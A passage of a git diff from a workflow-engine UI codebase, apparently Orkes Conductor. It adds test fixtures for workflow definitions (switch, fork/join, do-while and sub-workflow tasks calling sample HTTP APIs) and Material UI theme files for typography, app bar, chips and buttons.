+ uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + }, + ], + inputParameters: [], + outputParameters: { + data: "${get_random_fact.output.response.body.fact}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "james.stuart@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, +}; + +export const switchTaskWithADecisionButNoTerminateTasks = { + name: "sample_task_name_switch", + taskReferenceName: "sample_task_name_h64r7_ref", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + some_case: [ + { + name: "sample_task_name_http", + taskReferenceName: "sample_task_name_yioskj_ref", + type: "HTTP", + inputParameters: { + http_request: { + uri: "https://orkes-api-tester.orkesconductor.com/get", + method: "GET", + }, + }, + }, + ], + }, + defaultCase: [], + evaluatorType: "value-param", + expression: "switchCaseValue", +}; + +export const workflowWithASwitchWithoutTermination = { + name: "unconnectedWF", + description: + "Edit or extend this sample workflow. Set the workflow name to get started", + version: 1, + tasks: [ + { + name: "sample_task_name_event", + taskReferenceName: "sample_task_name_4a2rf_ref", + type: "EVENT", + sink: "conductor:internal_event_name", + }, + switchTaskWithADecisionButNoTerminateTasks, + { + name: "last_task", + taskReferenceName: "last_task", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + }, + ], + inputParameters: [], + outputParameters: { + data: "${get_random_fact.output.response.body.fact}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "james.stuart@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, +}; + +export const workflowWithSwitchWithinSwitchUnterminated = { + name: "nestedSwitch", + description: + "Edit or extend this sample workflow. Set the workflow name to get started", + version: 1, + tasks: [ + { + name: "sample_task_name_event", + taskReferenceName: "sample_task_name_4a2rf_ref", + type: "EVENT", + sink: "conductor:internal_event_name", + }, + { + name: "sample_task_name_switch", + taskReferenceName: "sample_task_name_h64r7_ref", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + new_case_a65un: [ + { + name: "sample_task_name_http", + taskReferenceName: "sample_task_name_yioskj_ref", + type: "HTTP", + inputParameters: { + http_request: { + uri: "https://orkes-api-tester.orkesconductor.com/get", + method: "GET", + }, + }, + }, + ], + case_going_to_switch: [ + { + name: "sample_task_name_switch", + taskReferenceName: "sample_task_name_lpskl_ref", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + nestedCase: [ + { + name: "sample_task_name_dynamic", + taskReferenceName: "sample_task_name_8sio6i_ref", + inputParameters: { + taskToExecute: "", + }, + type: "DYNAMIC", + dynamicTaskNameParam: "taskToExecute", + }, + ], + }, + defaultCase: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + }, + ], + }, + defaultCase: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + }, + { + name: "last_task", + taskReferenceName: "last_task", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + }, + ], + inputParameters: [], + outputParameters: { + data: "${get_random_fact.output.response.body.fact}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "james.stuart@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, +}; + +export const wfWithWhileWithSubWorkflow = { + createTime: 1662500473363, + updateTime: 1662503566660, + name: "wf_with_while_with_sub", + description: "Im changing the name now", + version: 1, + tasks: [ + { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "sample_task_name_do_while", + taskReferenceName: "sample_task_name_do_while_yy67c_ref", + inputParameters: {}, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: "", + loopOver: [ + { + name: "sample_task_name_sub_workflow", + taskReferenceName: "sample_task_name_sub_workflow_ref", + inputParameters: {}, + type: "SUB_WORKFLOW", + subWorkflowParam: { + name: "testing_new_two", + version: 1, + }, + }, + ], + }, + ], + inputParameters: [], + outputParameters: { + data: "${get_random_fact.output.response.body.fact}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "james.stuart@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + variables: {}, + inputTemplate: {}, +}; + +export const subWorkflowWithinAFork = { + createTime: 1662500473363, + updateTime: 1662503566660, + name: "sub_workflow_within_a_fork", + description: "Im changing the name now", + version: 1, + tasks: [ + { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "sample_task_name_fork", + taskReferenceName: "sample_task_name_fork_8ksay_ref", + inputParameters: {}, + type: "FORK_JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [ + [ + { + name: "sample_task_name_event", + taskReferenceName: "sample_task_name_event_rws94_ref", + type: "EVENT", + sink: "conductor:internal_event_name", + }, + ], + [ + { + name: "sample_task_name_sub_workflow", + taskReferenceName: "sample_task_name_sub_workflow_ref", + inputParameters: {}, + type: "SUB_WORKFLOW", + subWorkflowParam: { + name: "testing_new_two", + version: 1, + }, + }, + ], + ], + }, + { + name: "sample_task_name_join", + taskReferenceName: "sample_task_name_join_8rx5b_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + asyncComplete: false, + }, + ], + inputParameters: [], + outputParameters: { + data: "${get_random_fact.output.response.body.fact}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "james.stuart@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + variables: {}, + inputTemplate: {}, +}; + +export const workflowWithUnknownType = { + updateTime: 1646331692036, + name: "someWfName", + description: "Image Processing Workflow", + version: 1, + tasks: [ + { + name: "image_convert_resize_jim", + taskReferenceName: "image_convert_resize_ref", + inputParameters: { + fileLocation: "${workflow.input.fileLocation}", + outputFormat: "${workflow.input.recipeParameters.outputFormat}", + outputWidth: "${workflow.input.recipeParameters.outputSize.width}", + outputHeight: "${workflow.input.recipeParameters.outputSize.height}", + }, + type: "UNKNOWN_TYPE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "upload_toS3_jim", + taskReferenceName: "upload_toS3_ref", + inputParameters: { + fileLocation: "${image_convert_resize_ref.output.fileLocation}", + }, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + inputParameters: [], + outputParameters: { + fileLocation: "${upload_toS3_ref.output.fileLocation}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: true, + ownerEmail: "devrel@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + variables: {}, + inputTemplate: {}, +}; + +export const nestedForkJoin = { + name: "NewWorkflow_qcwhb", + description: + "Edit or extend this sample workflow. Set the workflow name to get started", + version: 1, + tasks: [ + { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + }, + { + name: "sample_task_name_fork_ytrlak_ref", + taskReferenceName: "sample_task_name_fork_ytrlak_ref", + inputParameters: {}, + type: "FORK_JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [ + [ + { + name: "sample_task_name_http_u9mzs_ref", + taskReferenceName: "sample_task_name_http_u9mzs_ref", + type: "HTTP", + inputParameters: { + http_request: { + uri: "https://orkes-api-tester.orkesconductor.com/get", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + }, + ], + [ + { + name: "sample_task_name_event_erts_ref", + taskReferenceName: "sample_task_name_event_erts_ref", + type: "EVENT", + sink: "conductor:internal_event_name", + }, + ], + ], + }, + { + name: "sample_task_name_join_fd9v1_ref", + taskReferenceName: "sample_task_name_join_fd9v1_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: ["sample_task_name_http_u9mzs_ref"], + optional: false, + asyncComplete: false, + }, + { + name: "sample_task_name_http_mvwvv_ref", + taskReferenceName: "sample_task_name_http_mvwvv_ref", + type: "HTTP", + inputParameters: { + http_request: { + uri: "https://orkes-api-tester.orkesconductor.com/get", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + }, + { + name: "sample_task_name_join_a75or_ref", + taskReferenceName: "sample_task_name_join_a75or_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: ["sample_task_name_event_erts_ref"], + optional: false, + asyncComplete: false, + }, + { + name: "sample_task_name_fork_6vg5rj_ref", + taskReferenceName: "sample_task_name_fork_6vg5rj_ref", + inputParameters: {}, + type: "FORK_JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [ + [ + { + name: "sample_task_name_kafka_publish_h9bubk_ref", + taskReferenceName: "sample_task_name_kafka_publish_h9bubk_ref", + type: "KAFKA_PUBLISH", + inputParameters: { + kafka_request: { + topic: "userTopic", + value: "Message to publish", + bootStrapServers: "localhost:9092", + headers: { + "X-Auth": "Auth-key", + }, + key: "123", + keySerializer: + "org.apache.kafka.common.serialization.IntegerSerializer", + }, + }, + }, + ], + [ + { + name: "sample_task_name_http_wh3oz_ref", + taskReferenceName: "sample_task_name_http_wh3oz_ref", + type: "HTTP", + inputParameters: { + http_request: { + uri: "https://orkes-api-tester.orkesconductor.com/get", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + }, + ], + ], + }, + { + name: "sample_task_name_join_6fc3tf_ref", + taskReferenceName: "sample_task_name_join_6fc3tf_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + asyncComplete: false, + }, + { + name: "sample_task_name_switch_pm7wsj_ref", + taskReferenceName: "sample_task_name_switch_pm7wsj_ref", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + new_case_ms0jy: [ + { + name: "sample_task_name_simple_0xdkv_ref", + taskReferenceName: "sample_task_name_simple_0xdkv_ref", + type: "SIMPLE", + }, + { + name: "sample_task_name_fork_lx82h_ref", + taskReferenceName: "sample_task_name_fork_lx82h_ref", + inputParameters: {}, + type: "FORK_JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [ + [ + { + name: "sample_task_name_inline_knvwp_ref", + taskReferenceName: "sample_task_name_inline_knvwp_ref", + type: "INLINE", + inputParameters: { + expression: "(function(){ return $.value1 + $.value2;})();", + evaluatorType: "graaljs", + value1: 1, + value2: 2, + }, + }, + ], + ], + }, + { + name: "sample_task_name_join_uqholl_ref", + taskReferenceName: "sample_task_name_join_uqholl_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + asyncComplete: false, + }, + ], + }, + defaultCase: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + }, + ], + inputParameters: [], + outputParameters: { + data: "${get_random_fact.output.response.body.fact}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "james.stuart@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, +}; + +export const unknownTaskTypeWf = { + name: "NewWorkflow_6ns8k", + description: "", + version: 1, + tasks: [ + { + name: "event_task", + taskReferenceName: "event_task_ref", + type: "SOME_RANDOM_WRONG_TYPE", + sink: "sqs:internal_event_name", + inputParameters: {}, + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "najeeb.thangal@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", +}; + +export const switchExecutionDefaultByEvaluationResultNull = { + name: "pin_validation", + taskReferenceName: "pin_validation", + inputParameters: { + case: "${workflow.input.case}", + }, + type: "SWITCH", + decisionCases: { + "": [], + "CASE-2": [], + "CASE-1": [], + }, + defaultCase: [ + { + name: "http", + taskReferenceName: "http_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + executionData: { + status: "COMPLETED", + executed: true, + attempts: 1, + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Fri, 12 Apr 2024 18:54:54 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2850, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "rvewnskyhuakqjctndpd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: "((\n function () {\n return $.case;\n }\n))();", + onStateChange: {}, + executionData: { + status: "COMPLETED", + executed: true, + attempts: 1, + outputData: { + evaluationResult: ["null"], + selectedCase: "null", + }, + }, +}; + +export const decisionExecutionDataWithValidCase = { + name: "decision_gateway", + taskReferenceName: "approval_decision", + inputParameters: { + case_value_param: "${inline_ref.output.result}", + }, + type: "DECISION", + caseValueParam: "case_value_param", + decisionCases: { + LOW: [ + { + name: "http", + taskReferenceName: "http_ref", + inputParameters: { + uri: "https://orkes-api-tester.orkesconductor.com/api", + method: "GET", + accept: "application/json", + contentType: "application/json", + encode: true, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + permissive: false, + }, + ], + MEDIUM: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + uri: "https://orkes-api-tester.orkesconductor.com/api", + method: "GET", + accept: "application/json", + contentType: "application/json", + encode: true, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + permissive: false, + }, + ], + HIGH: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + uri: "https://orkes-api-tester.orkesconductor.com/api", + method: "GET", + accept: "application/json", + contentType: "application/json", + encode: true, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + permissive: false, + }, + ], + }, + defaultCase: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + uri: "https://orkes-api-tester.orkesconductor.com/api", + method: "GET", + accept: "application/json", + contentType: "application/json", + encode: true, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + permissive: false, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + permissive: false, +}; diff --git a/ui-next/src/theme/index.ts b/ui-next/src/theme/index.ts new file mode 100644 index 0000000..6f417ed --- /dev/null +++ b/ui-next/src/theme/index.ts @@ -0,0 +1,2 @@ +export { Provider as ThemeProvider } from "./material/provider"; +export { default as getTheme } from "./theme"; diff --git a/ui-next/src/theme/material/ColorModeContext/ColorModeContext.tsx b/ui-next/src/theme/material/ColorModeContext/ColorModeContext.tsx new file mode 100644 index 0000000..504cb53 --- /dev/null +++ b/ui-next/src/theme/material/ColorModeContext/ColorModeContext.tsx @@ -0,0 +1,13 @@ +import { PaletteMode } from "@mui/material"; +import { createContext } from "react"; + +interface ThemeProviderContext { + mode: PaletteMode; + toggler?: { + toggleColorMode: () => void; + }; +} + +export const ColorModeContext = createContext({ + mode: "light", +}); diff --git a/ui-next/src/theme/material/ColorModeContext/index.ts b/ui-next/src/theme/material/ColorModeContext/index.ts new file mode 100644 index 0000000..ce48ba9 --- /dev/null +++ b/ui-next/src/theme/material/ColorModeContext/index.ts @@ -0,0 +1 @@ +export * from "./ColorModeContext"; diff --git a/ui-next/src/theme/material/baseTheme.ts b/ui-next/src/theme/material/baseTheme.ts new file mode 100644 index 0000000..31ac24c --- /dev/null +++ b/ui-next/src/theme/material/baseTheme.ts @@ -0,0 +1,124 @@ +import darkScrollbar from "@mui/material/darkScrollbar"; +import { Theme, ThemeOptions, createTheme } from "@mui/material/styles"; +import _path from "lodash/fp/path"; +import { logger } from "utils/logger"; +import { + borders, + breakpoints, + fontFamily, + fontSizes, + fontWeights, + lineHeights, + spacings, +} from "../tokens/variables"; + +function toNumber(v: string): number { + return parseFloat(v); +} + +const spacingFn = (factor: string | number) => { + const unit = toNumber(spacings.space0); + + // Support theme.spacing('space3') + if (typeof factor === "string") { + const spacingFactor = _path(factor, spacings) as string; + if (!spacingFactor) { + logger.warn(`spacingFn: ${factor} is not a valid spacing factor`); + } + return toNumber(spacingFactor ?? "0"); + } + + if (typeof factor === "number") { + // Support theme.spacing(2) + return unit * factor; + } + + return unit; +}; + +const baseThemeOptions: ThemeOptions = { + typography: { + fontFamily: fontFamily.fontFamilySans, + fontSize: toNumber(fontSizes.fontSize2), + htmlFontSize: toNumber(fontSizes.fontSize2), + fontWeightLight: fontWeights.fontWeight0, + fontWeightRegular: fontWeights.fontWeight0, + fontWeightMedium: fontWeights.fontWeight1, + fontWeightBold: fontWeights.fontWeight2, + h1: { + fontSize: fontSizes.fontSize10, + lineHeight: lineHeights.lineHeight0, + fontWeight: fontWeights.fontWeight2, + }, + h2: { + fontSize: fontSizes.fontSize9, + lineHeight: lineHeights.lineHeight0, + fontWeight: fontWeights.fontWeight2, + }, + h3: { + fontSize: fontSizes.fontSize8, + lineHeight: lineHeights.lineHeight0, + fontWeight: fontWeights.fontWeight2, + }, + h4: { + fontSize: fontSizes.fontSize7, + lineHeight: lineHeights.lineHeight0, + fontWeight: fontWeights.fontWeight2, + }, + h5: { + fontSize: fontSizes.fontSize6, + lineHeight: lineHeights.lineHeight0, + fontWeight: fontWeights.fontWeight2, + }, + h6: { + fontSize: fontSizes.fontSize5, + lineHeight: lineHeights.lineHeight0, + fontWeight: fontWeights.fontWeight2, + }, + body1: { + fontSize: fontSizes.fontSize2, + lineHeight: lineHeights.lineHeight1, + }, + body2: { + fontSize: fontSizes.fontSize3, + lineHeight: lineHeights.lineHeight1, + }, + caption: { + fontSize: fontSizes.fontSize2, + lineHeight: lineHeights.lineHeight1, + }, + button: { + fontSize: fontSizes.fontSize2, + fontWeight: fontWeights.fontWeight1, + }, + }, + breakpoints: { + // this looks wrong, but it's not + // material's breakpoints are a range, so the below basically says + // xs is from 0 to breakpoints.large + values: { + xs: 0, + sm: toNumber(breakpoints.xsmall), + md: toNumber(breakpoints.small), + lg: toNumber(breakpoints.medium), + xl: toNumber(breakpoints.large), + // Breakpoint to display link buttons on navbar + }, + }, + shape: { + borderRadius: toNumber(borders.radiusSmall), + }, + //color: colorFn, + spacing: spacingFn, + components: { + MuiCssBaseline: { + styleOverrides: (themeParam: Theme) => ({ + body: themeParam.palette.mode === "dark" ? darkScrollbar() : null, + }), + }, + }, +}; + +const baseTheme = createTheme(baseThemeOptions); + +export default baseTheme; diff --git a/ui-next/src/theme/material/components/appBar.ts b/ui-next/src/theme/material/components/appBar.ts new file mode 100644 index 0000000..e84584b --- /dev/null +++ b/ui-next/src/theme/material/components/appBar.ts @@ -0,0 +1,33 @@ +import { colors } from "../../tokens/variables"; +import { PaletteMode, Theme } from "@mui/material"; +import { Components } from "@mui/material/styles"; + +export const appBar = (mode: PaletteMode): Components => { + return { + MuiAppBar: { + styleOverrides: { + root: { + ...(mode === "light" + ? { + backgroundColor: colors.white, + color: colors.primary, + fontSize: "11pt !important", + fontWeight: 400, + } + : { + backgroundColor: colors.gray01, + color: colors.primary, + fontSize: "11pt !important", + fontWeight: 400, + }), + boxShadow: "none !important", + "& .MuiLink-underlineHover:hover": { + textDecoration: "none !important", + }, + }, + }, + }, + }; +}; + +export default appBar; diff --git a/ui-next/src/theme/material/components/atoms.ts b/ui-next/src/theme/material/components/atoms.ts new file mode 100644 index 0000000..b0056be --- /dev/null +++ b/ui-next/src/theme/material/components/atoms.ts @@ -0,0 +1,73 @@ +import { PaletteMode, Theme } from "@mui/material"; +import { Components } from "@mui/material/styles"; +import { + borders, + colors, + fontSizes, + fontWeights, +} from "../../tokens/variables"; +import baseTheme from "../baseTheme"; + +const atoms = (_mode: PaletteMode): Components => ({ + MuiAvatar: { + styleOverrides: { + root: { + fontSize: "2.4rem", + }, + }, + }, + MuiLink: { + styleOverrides: { + root: { + textDecoration: "none", + color: colors.primary, + //color: mode === "light" ? colors.primary : colors.primaryLighter, + }, + }, + }, + MuiSvgIcon: { + styleOverrides: { + root: { + fontSize: fontSizes.fontSize6, + }, + }, + }, + MuiChip: { + styleOverrides: { + root: { + borderRadius: borders.radiusSmall, + height: "24px", + fontSize: fontSizes.fontSize2, + fontWeight: fontWeights.fontWeight1, + }, + label: ({ theme }) => ({ + paddingLeft: theme.spacing(2), + paddingRight: theme.spacing(2), + lineHeight: "27px", + }), + deleteIcon: { + height: "100%", + padding: 3, + margin: 0, + backgroundColor: "rgba(5, 5, 5, 0.1)", + borderRadius: `0 ${borders.radiusSmall} ${borders.radiusSmall} 0`, + width: 24, + boxSizing: "border-box", + textAlign: "center", + fill: baseTheme.palette.common.white, + borderLeftWidth: 1, + borderLeftStyle: "solid", + borderLeftColor: "rgba(5, 5, 5, 0.1)", + }, + deleteIconColorPrimary: { + color: colors.white, + }, + colorSecondary: { + color: colors.white, + backgroundColor: colors.lime07, + }, + }, + }, +}); + +export default atoms; diff --git a/ui-next/src/theme/material/components/buttons.ts b/ui-next/src/theme/material/components/buttons.ts new file mode 100644 index 0000000..748d946 --- /dev/null +++ b/ui-next/src/theme/material/components/buttons.ts @@ -0,0 +1,305 @@ +import { PaletteMode, Theme } from "@mui/material"; +import { Components } from "@mui/material/styles"; +import { colors } from "theme/tokens/variables"; + +const lightButton: Partial> = { + MuiButton: { + defaultProps: { + disableRipple: true, + variant: "contained", + color: "primary", + size: "medium", + }, + styleOverrides: { + root: { + textTransform: "none", + borderRadius: "6px", + transition: "none", + fontWeight: 500, + boxShadow: "none", + padding: "8px 12px 8px 12px", + border: "1px solid inherit", + }, + sizeSmall: { + minHeight: "28px", + height: "28px", + fontSize: "12px", + }, + sizeMedium: { + minHeight: "36px", + height: "36px", + fontSize: "14px", + fontWeight: 500, + }, + sizeLarge: { + minHeight: "50px", + height: "50px", + fontSize: "16px", + }, + contained: { + border: `1px solid ${colors.sidebarFaintGrey}`, + }, + containedPrimary: { + color: colors.white, + backgroundColor: colors.blueLightMode, + border: `1px solid ${colors.blueLightMode}`, + + ":hover": { + color: colors.white, + backgroundColor: colors.blueLightMode, + border: `1px solid ${colors.blueLightMode}`, + boxShadow: `3px 3px 0px 0px ${colors.primaryHoverBoxShadow}`, + }, + + ":active": { + color: colors.sidebarBlacky, + backgroundColor: colors.darkBlueLightMode, + borderColor: colors.darkBlueLightMode, + boxShadow: "none", + }, + + "&.Mui-disabled": { + color: colors.defaultModalBackdropColor, + backgroundColor: colors.sidebarBarelyPastWhite, + borderColor: colors.defaultModalBackdropColor, + }, + }, + outlinedPrimary: { + color: colors.sidebarBlacky, + backgroundColor: undefined, + border: `1px solid ${colors.blueLight}`, + }, + textPrimary: { + color: colors.blueLightMode, + ":hover": { + backgroundColor: "unset", + }, + }, + containedSecondary: { + color: colors.blueLightMode, + backgroundColor: colors.white, + border: `1px solid ${colors.blueLightMode}`, + + ":hover": { + color: colors.blueLightMode, + backgroundColor: colors.white, + border: `1px solid ${colors.blueLightMode}`, + boxShadow: `3px 3px 0px 0px ${colors.secondaryHoverBoxShadow}`, + }, + + ":active": { + color: colors.sidebarBlacky, + backgroundColor: colors.darkBlueLightMode, + borderColor: colors.darkBlueLightMode, + boxShadow: "none", + }, + + "&.Mui-disabled": { + color: colors.defaultModalBackdropColor, + backgroundColor: colors.sidebarBarelyPastWhite, + borderColor: colors.defaultModalBackdropColor, + }, + }, + outlinedSecondary: { + color: colors.sidebarGreyDark, + borderColor: colors.sidebarGreyDark, + }, + textSecondary: { + color: colors.sidebarGreyDark, + ":hover": { + backgroundColor: "unset", + }, + }, + // @ts-ignore + containedTertiary: { + color: colors.sidebarGrey, + backgroundColor: colors.white, + border: `1px solid ${colors.sidebarFaintGrey}`, + + ":hover": { + color: colors.greyBg, + backgroundColor: colors.white, + borderColor: colors.sidebarFaintGrey, + boxShadow: `3px 3px 0px 0px ${colors.tertiaryHoverBoxShadow}`, + }, + + ":active": { + color: colors.sidebarGreyDark, + backgroundColor: colors.darkBlueLightMode, + borderColor: colors.darkBlueLightMode, + boxShadow: "none", + }, + + "&.Mui-disabled": { + color: colors.defaultModalBackdropColor, + backgroundColor: colors.sidebarBarelyPastWhite, + borderColor: colors.defaultModalBackdropColor, + }, + }, + outlinedTertiary: { + color: colors.sidebarGrey, + border: `1px solid ${colors.sidebarGrey}`, + + ":hover": { + color: colors.greyBg, + borderColor: colors.sidebarFaintGrey, + }, + }, + textTertiary: { + color: colors.sidebarGrey, + }, + containedError: { + border: `1px solid ${colors.red07}`, + + ":hover": { + backgroundColor: colors.red07, + border: `1px solid ${colors.red07}`, + boxShadow: `3px 3px 0px 0px ${colors.primaryHoverBoxShadow}`, + }, + + ":active": { + color: colors.sidebarBlacky, + backgroundColor: colors.red07, + borderColor: colors.red07, + boxShadow: "none", + }, + + "&.Mui-disabled": { + color: colors.defaultModalBackdropColor, + backgroundColor: colors.sidebarBarelyPastWhite, + borderColor: colors.defaultModalBackdropColor, + }, + }, + }, + }, + MuiIconButton: { + styleOverrides: { + root: { + color: colors.gray04, + borderColor: colors.gray04, + "&.Mui-disabled": { + color: colors.gray08, + borderColor: colors.gray08, + }, + "&:hover": { + backgroundColor: undefined, + }, + }, + }, + }, +}; + +const darkButton: Partial> = { + MuiButton: { + defaultProps: { + disableRipple: true, + variant: "contained", + color: "primary", + size: "medium", + }, + styleOverrides: { + root: { + textTransform: "none", + borderRadius: "6px", + transition: "none", + fontWeight: 500, + boxShadow: "none", + padding: "8px", + + "&.Mui-disabled": { + border: "none", + color: colors.sidebarFaintGrey, + backgroundColor: colors.sidebarBarelyPastWhite, + }, + + ":after": { + content: '""', + position: "absolute", + zIndex: -1, + right: 0, + bottom: 0, + width: "100%", + height: "100%", + background: `${colors.blueBackground}`, + border: `1px solid ${colors.sidebarGreyDark}`, + borderRadius: "6px", + opacity: 0, + transition: "opacity 0.3s ease-in-out, transform 0.3s ease-in-out", + }, + + ":hover": { + color: colors.sidebarFaintGrey, + backgroundColor: colors.sidebarGreyDark, + border: `1px solid ${colors.sidebarGreyDark}`, + + ":after": { + opacity: 1, + right: -5, + bottom: -5, + }, + }, + }, + sizeSmall: { + minHeight: "28px", + height: "28px", + fontSize: "10pt", + }, + sizeMedium: { + minHeight: "36px", + height: "36px", + fontSize: "11pt", + fontWeight: 500, + }, + sizeLarge: { + minHeight: "50px", + height: "50px", + fontSize: "14pt", + }, + outlinedPrimary: {}, + outlinedSecondary: { + color: colors.gray12, + borderColor: colors.gray12, + "&.Mui-disabled": { + color: colors.gray05, + borderColor: colors.gray05, + }, + }, + contained: { + border: `1px solid ${colors.sidebarFaintGrey}`, + }, + containedPrimary: { + "&.Mui-disabled": { + color: colors.gray09, + backgroundColor: colors.gray05, + }, + }, + containedSecondary: { + "&.Mui-disabled": { + color: colors.gray05, + backgroundColor: colors.gray02, + }, + }, + }, + }, + MuiIconButton: { + styleOverrides: { + root: { + color: colors.gray12, + borderColor: colors.gray12, + "&.Mui-disabled": { + color: colors.gray05, + borderColor: colors.gray05, + }, + "&:hover": { + backgroundColor: 